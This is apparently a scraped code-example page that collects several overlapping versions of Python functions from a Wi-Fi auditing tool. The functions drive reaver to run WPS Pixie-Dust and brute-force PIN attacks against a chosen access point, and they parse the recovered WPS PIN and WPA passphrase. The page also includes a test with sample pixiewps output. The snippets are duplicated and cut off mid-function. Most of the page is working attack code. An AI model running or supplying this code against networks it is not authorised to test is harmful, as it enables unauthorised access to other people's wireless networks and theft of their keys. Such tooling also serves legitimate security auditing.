                        # We cracked it.
                        bssid = self.target.bssid
                        Color.clear_entire_line()
                        Color.pattack(
                            "WPS", airodump_target, "Pixie-Dust",
                            "{G}successfully cracked WPS PIN and PSK{W}")
                        Color.pl("")
                        self.crack_result = CrackResultWPS(
                            bssid, ssid, pin, psk)
                        self.crack_result.dump()
                        return True
                    else:
                        # Failed to crack, reaver proces ended.
                        Color.clear_line()
                        Color.pattack("WPS", airodump_target, "Pixie-Dust",
                                      "{R}Failed: {O}WPS PIN not found{W}\n")
                        return False

                if 'WPS pin not found' in stdout:
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    break

                last_step = step
                # Status updates, depending on last line of stdout
                if 'Waiting for beacon from' in stdout_last_line:
                    step = '({C}step 1/8{W}) waiting for beacon'
                elif 'Associated with' in stdout_last_line:
                    step = '({C}step 2/8{W}) waiting to start session'
                elif 'Starting Cracking Session.' in stdout_last_line:
                    step = '({C}step 3/8{W}) waiting to try pin'
                elif 'Trying pin' in stdout_last_line:
                    step = '({C}step 4/8{W}) trying pin'
                elif 'Sending EAPOL START request' in stdout_last_line:
                    step = '({C}step 5/8{W}) sending eapol start request'
                elif 'Sending identity response' in stdout_last_line:
                    step = '({C}step 6/8{W}) sending identity response'
                elif 'Sending M2 message' in stdout_last_line:
                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
                elif 'Detected AP rate limiting,' in stdout_last_line:
                    if Configuration.wps_skip_rate_limit:
                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                        Color.pl(
                            '{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
                            ' this kind of failure in the future{W}')
                        break
                    step = '({C}step -/8{W}) waiting for AP rate limit'

                if step != last_step:
                    # Step changed, reset step timer
                    time_since_last_step = 0
                else:
                    time_since_last_step += 1

                if time_since_last_step > Configuration.wps_pixie_step_timeout:
                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' %
                             Configuration.wps_pixie_step_timeout)
                    break

                # TODO: Timeout check
                if reaver.running_time() > Configuration.wps_pixie_timeout:
                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' %
                             Configuration.wps_pixie_timeout)
                    break

                # Reaver Failure/Timeout check
                fail_count = stdout.count('WPS transaction failed')
                if fail_count > Configuration.wps_fail_threshold:
                    Color.pl('{R}failed: {O}too many failures (%d){W}' %
                             fail_count)
                    break
                timeout_count = stdout.count('Receive timeout occurred')
                if timeout_count > Configuration.wps_timeout_threshold:
                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' %
                             timeout_count)
                    break

                Color.clear_line()
                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)

                time.sleep(1)
                continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False

    @staticmethod
    def get_pin_psk_ssid(stdout):
        ''' Parses WPS PIN, PSK, and SSID from output '''
        pin = psk = ssid = None

        # Check for PIN.
        '''  [+] WPS pin:  11867722'''
        regex = re.search(r"WPS pin:\s*([0-9]*)", stdout, re.IGNORECASE)
        if regex:
            pin = regex.group(1)

        # Check for PSK.
        # Note: Reaver 1.6.x does not appear to return PSK (?)
        regex = re.search("WPA PSK: *'(.+)'", stdout)
        if regex:
            psk = regex.group(1)

        # Check for SSID
        """1.x [Reaver Test] [+] AP SSID: 'Test Router' """
        regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
        if regex:
            ssid = regex.group(1)

        # Check (again) for SSID
        if ssid is None:
            """1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)"""
            regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)",
                              stdout)
            if regex:
                ssid = regex.group(1)

        return (pin, psk, ssid)

    def get_stdout(self):
        ''' Gets output from stdout_file '''
        if not self.stdout_file:
            return ''
        with open(self.stdout_file, 'r') as fid:
            stdout = fid.read()
        return stdout.strip()
예제 #7
0
    def parse_line(self, line):
        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
        if got_beacon:
            # group(1)=ESSID, group(2)=BSSID
            self.state = "Got beacon"

        # [+] Last State = 'NoAssoc'   Next pin '48855501'
        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'",
                               line)
        if last_state:
            # group(1)=result, group(2)=PIN
            result = "Start"  # last_state.group(1)
            pin = last_state.group(2)
            self.state = "Trying PIN:{C}%s{W}" % pin

        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
        rx_m = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'",
                         line)
        if rx_m:
            # group(1)=M3/M5, group(2)=result, group(3)=PIN
            self.m_state = rx_m.group(1)
            result = rx_m.group(2)  # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
            if result in ["Pin1Bad", "Pin2Bad"]:
                self.pins_attempted += 1
                self.consecutive_lockouts = 0  # Reset lockout count
                self.consecutive_timeouts = 0  # Reset timeout count
                self.consecutive_noassoc = 0  # Reset timeout count
                result = "{G}%s{W}" % result
            elif result == "Timeout":
                self.consecutive_timeouts += 1
                result = "{O}%s{W}" % result
            elif result == "NoAssoc":
                self.consecutive_noassoc += 1
                result = "{O}%s{W}" % result
            else:
                result = "{R}%s{W}" % result
            pin = rx_m.group(3)
            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)

        # [!] WPS lockout reported, sleeping for 43 seconds ...
        lock_out = re.search(
            r".*WPS lockout reported, sleeping for (\d+) seconds", line)
        if lock_out:
            sleeping = lock_out.group(1)
            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
            self.consecutive_lockouts += 1

        # [Pixie-Dust] WPS pin not found
        pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
        if pixie_re:
            self.state = "{R}Failed{W}"

        # [+] Running pixiewps with the information, wait ...
        pixie_re = re.search(r".*Running pixiewps with the information", line)
        if pixie_re:
            self.state = "{G}Running pixiewps...{W}"

        # [*] Pin is '80246213', key is 'password'
        # [*] Pin is '11867722', key is '9a6f7997'
        pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
        if pin_key_re:
            self.cracked_pin = pin_key_re.group(1)
            self.cracked_key = pin_key_re.group(2)

        #        PIN   : '80246213'
        pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
        if pin_re:
            self.cracked_pin = pin_re.group(1)

        #        KEY   : 'password'
        key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
        if key_re:
            self.cracked_key = key_re.group(1)

        #warn_re = re.search(r"\[\!\]\s*(.*)$", line)
        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)

        if not self.crack_result and self.cracked_pin and self.cracked_key:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, "Pixie-Dust",
                          "{G}successfully cracked WPS PIN and PSK{W}")
            Color.pl("")
            self.crack_result = CrackResultWPS(self.target.bssid,
                                               self.target.essid,
                                               self.cracked_pin,
                                               self.cracked_key)
            Color.pl("")
            self.crack_result.dump()
            return True
        else:
            return False
예제 #8
0
 [*] Seed N1:  -
 [*] Seed ES1: -
 [*] Seed ES2: -
 [*] PSK1:     2c2e33f5e3a870759f0aeebbd2792450
 [*] PSK2:     3f4ca4ea81b2e8d233a4b80f9d09805d
 [*] ES1:      04d48dc20ec785762ce1a21a50bc46c2
 [*] ES2:      04d48dc20ec785762ce1a21a50bc46c2
 [+] WPS pin:  11867722

 [*] Time taken: 0 s 21 ms

executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
'''
    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
    assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
    assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
    assert ssid == "Test Router", 'ssid was %s, should have been Test Router' % repr(
        ssid)
    result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
    result.dump()

    print ""

    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
    assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
    assert psk == None, 'psk was "%s", should have been "None"' % psk
    assert ssid == "belkin.00e", 'ssid was "%s", should have been "belkin.00e"' % repr(
        ssid)
    result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
    result.dump()
예제 #9
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
예제 #10
0
    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-a', # Automatically restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        while True:
            time.sleep(1)
            percent = 100 * float(pin_current) / float(pin_total)
            Color.clear_line()
            Color.p('\r{+} {C}WPS PIN attack{W} (')
            Color.p('{G}%.2f%% done{W}, ' % percent)
            Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
            Color.p('{R}%d/%d failures{W}) ' % (failures, \
                                            Configuration.wps_fail_threshold))

            if failures >= Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures{W}')
                break

            # Get output
            out = self.get_stdout()

            # Clear output file
            f = open(self.stdout_file, 'w')
            f.write('')
            f.close()

            # CHECK FOR CRACK

            (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
            if pin and psk and ssid:
                # We cracked it.
                self.success = True
                Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                self.crack_result.dump()
                break


            # PIN PROGRESS

            # Reaver 1.5.*
            match = None
            for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                # Look at last entry for "Pin count advanced" to get latest pin count
                pass
            if match:
                # Reset failures on successful try
                failures = 0
                groups = match.groups()
                pin_current = int(groups[0])
                pin_total = int(groups[1])

            # Reaver 1.3, 1.4
            match = None
            for match in re.finditer('Trying pin (\d+)', out):
                if match:
                    pin = int(match.groups()[0])
                    if pin not in pins:
                        # Reset failures on successful try
                        failures = 0
                        pins.add(pin)
                        pin_current += 1

            # Failures
            if 'WPS transaction failed' in out:
                failures += out.count('WPS transaction failed')
            elif 'Receive timeout occurred' in out:
                # Reaver 1.4
                failures += out.count('Receive timeout occurred')

            # Status
            if 'Waiting for beacon from'   in out: state = '{O}waiting for beacon{W}'
            if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
            # Reaver 1.4
            if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'

            if 'Detected AP rate limiting' in out:
                state = '{R}rate-limited{W}'
                if Configuration.wps_skip_rate_limit:
                    Color.pl(state)
                    Color.pl('{!} {R}hit rate limit, stopping{W}\n')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break

            if 'WARNING: Failed to associate with' in out:
                # TODO: Fail after X association failures (instead of just one)
                Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
                break

            match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta

            match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta
                pins_left = int(match.groups()[1])

                # Divine pin_current & pin_total from this:
                pin_current = 11000 - pins_left

            # Check if process is still running
            if reaver.pid.poll() != None:
                Color.pl('{R}failed{W}')
                Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                self.success = False
                break

            # Output the current state
            Color.p(state)

            '''
            [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
            [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
            [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
            [+] Trying pin 12345670.
            [+] Pin count advanced: 46. Max pin attempts: 11000
            [!] WPS transaction failed (code: 0x02), re-trying last pin
            [!] WPS transaction failed (code: 0x03), re-trying last pin
            [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
            [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
            [!] WARNING: 25 successive start failures
            [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
            [+] 0.55% complete. Elapsed time: 0d0h2m21s.
            [+] Estimated Remaining time: 0d15h11m35s

            [+] Pin cracked in 7 seconds
            [+] WPS PIN: '12345678'
            [+] WPA PSK: 'abcdefgh'
            [+] AP SSID: 'Test Router'

            Reaver 1.4:
            [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
            [!] WARNING: Receive timeout occurred

            '''

        reaver.interrupt()

        return self.success
예제 #11
0
class AttackWPS(Attack):
    def __init__(self, target):
        super(AttackWPS, self).__init__(target)
        self.success = False
        self.crack_result = None

    def run(self):
        ''' Run all WPS-related attacks '''

        # Drop out if user specified to not use Reaver
        if Configuration.no_reaver:
            self.success = False
            return self.success

        # Run Pixie-Dust attack
        if self.is_pixiedust_supported():
            if self.run_pixiedust_attack():
                # Pixie-Dust attack succeeded. We're done.
                self.success = True
                return self.success
        else:
            Color.pl(
                '{!} {R}your version of "reaver" does not' +
                ' support the {O}WPS pixie-dust attack{W}')

        if Configuration.pixie_only:
            Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
            self.success = False
        else:
            # Run WPS-PIN attack
            self.success = self.run_wps_pin_attack()
        return self.success


    def is_pixiedust_supported(self):
        ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
        output = Process(['reaver', '-h']).stderr()
        return '--pixie-dust' in output

    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False


    def run_wps_pin_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)
        stdout_write = open(self.stdout_file, 'a')

        # Start reaver process
        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-a', # Automatically restart session
            '-vv'  # verbose
        ]
        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        self.success = False
        pins = set()
        pin_current = 0
        pin_total = 11000
        failures = 0
        state = 'initializing'

        while True:
            time.sleep(1)
            percent = 100 * float(pin_current) / float(pin_total)
            Color.clear_line()
            Color.p('\r{+} {C}WPS PIN attack{W} (')
            Color.p('{G}%.2f%% done{W}, ' % percent)
            Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
            Color.p('{R}%d/%d failures{W}) ' % (failures, \
                                            Configuration.wps_fail_threshold))

            if failures >= Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures{W}')
                break

            # Get output
            out = self.get_stdout()

            # Clear output file
            f = open(self.stdout_file, 'w')
            f.write('')
            f.close()

            # CHECK FOR CRACK

            (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
            if pin and psk and ssid:
                # We cracked it.
                self.success = True
                Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
                self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
                self.crack_result.dump()
                break


            # PIN PROGRESS

            # Reaver 1.5.*
            match = None
            for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
                # Look at last entry for "Pin count advanced" to get latest pin count
                pass
            if match:
                # Reset failures on successful try
                failures = 0
                groups = match.groups()
                pin_current = int(groups[0])
                pin_total = int(groups[1])

            # Reaver 1.3, 1.4
            match = None
            for match in re.finditer('Trying pin (\d+)', out):
                if match:
                    pin = int(match.groups()[0])
                    if pin not in pins:
                        # Reset failures on successful try
                        failures = 0
                        pins.add(pin)
                        pin_current += 1

            # Failures
            if 'WPS transaction failed' in out:
                failures += out.count('WPS transaction failed')
            elif 'Receive timeout occurred' in out:
                # Reaver 1.4
                failures += out.count('Receive timeout occurred')

            # Status
            if 'Waiting for beacon from'   in out: state = '{O}waiting for beacon{W}'
            if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
            # Reaver 1.4
            if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'

            if 'Detected AP rate limiting' in out:
                state = '{R}rate-limited{W}'
                if Configuration.wps_skip_rate_limit:
                    Color.pl(state)
                    Color.pl('{!} {R}hit rate limit, stopping{W}\n')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break

            if 'WARNING: Failed to associate with' in out:
                # TODO: Fail after X association failures (instead of just one)
                Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
                break

            match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta

            match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
            if match:
                eta = match.groups()[0]
                state = '{C}cracking, ETA: {G}%s{W}' % eta
                pins_left = int(match.groups()[1])

                # Divine pin_current & pin_total from this:
                pin_current = 11000 - pins_left

            # Check if process is still running
            if reaver.pid.poll() != None:
                Color.pl('{R}failed{W}')
                Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
                self.success = False
                break

            # Output the current state
            Color.p(state)

            '''
            [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
            [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
            [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
            [+] Trying pin 12345670.
            [+] Pin count advanced: 46. Max pin attempts: 11000
            [!] WPS transaction failed (code: 0x02), re-trying last pin
            [!] WPS transaction failed (code: 0x03), re-trying last pin
            [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
            [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
            [!] WARNING: 25 successive start failures
            [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
            [+] 0.55% complete. Elapsed time: 0d0h2m21s.
            [+] Estimated Remaining time: 0d15h11m35s

            [+] Pin cracked in 7 seconds
            [+] WPS PIN: '12345678'
            [+] WPA PSK: 'abcdefgh'
            [+] AP SSID: 'Test Router'

            Reaver 1.4:
            [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
            [!] WARNING: Receive timeout occurred

            '''

        reaver.interrupt()

        return self.success


    @staticmethod
    def get_pin_psk_ssid(stdout):
        ''' Parses WPS PIN, PSK, and SSID from output '''
        pin = psk = ssid = None

        # Check for PIN.
        # PIN: Printed *before* the attack completes.
        regex = re.search('WPS pin: *([0-9]*)', stdout)
        if regex:
            pin = regex.groups()[0]
        # PIN: Printed when attack is completed.
        regex = re.search("WPS PIN: *'([0-9]+)'", stdout)
        if regex:
            pin = regex.groups()[0]

        # Check for PSK.
        regex = re.search("WPA PSK: *'(.+)'", stdout)
        if regex:
            psk = regex.groups()[0]

        # Check for SSID
        regex = re.search("AP SSID: *'(.+)'", stdout)
        if regex:
            ssid = regex.groups()[0]

        return (pin, psk, ssid)

    def get_stdout(self):
        ''' Gets output from stdout_file '''
        if not self.stdout_file:
            return ''
        f = open(self.stdout_file, 'r')
        stdout = f.read()
        f.close()
        return stdout.strip()
예제 #12
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i',
            Configuration.interface,
            '-b',
            self.target.bssid,
            '-c',
            self.target.channel,
            '-K',
            '1',  # pixie-dust attack
            '-a',  # Automatically restart session
            '-vv'  # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = '0) initializing'

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl(
                        '\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            # Status updates, depending on last line of stdout
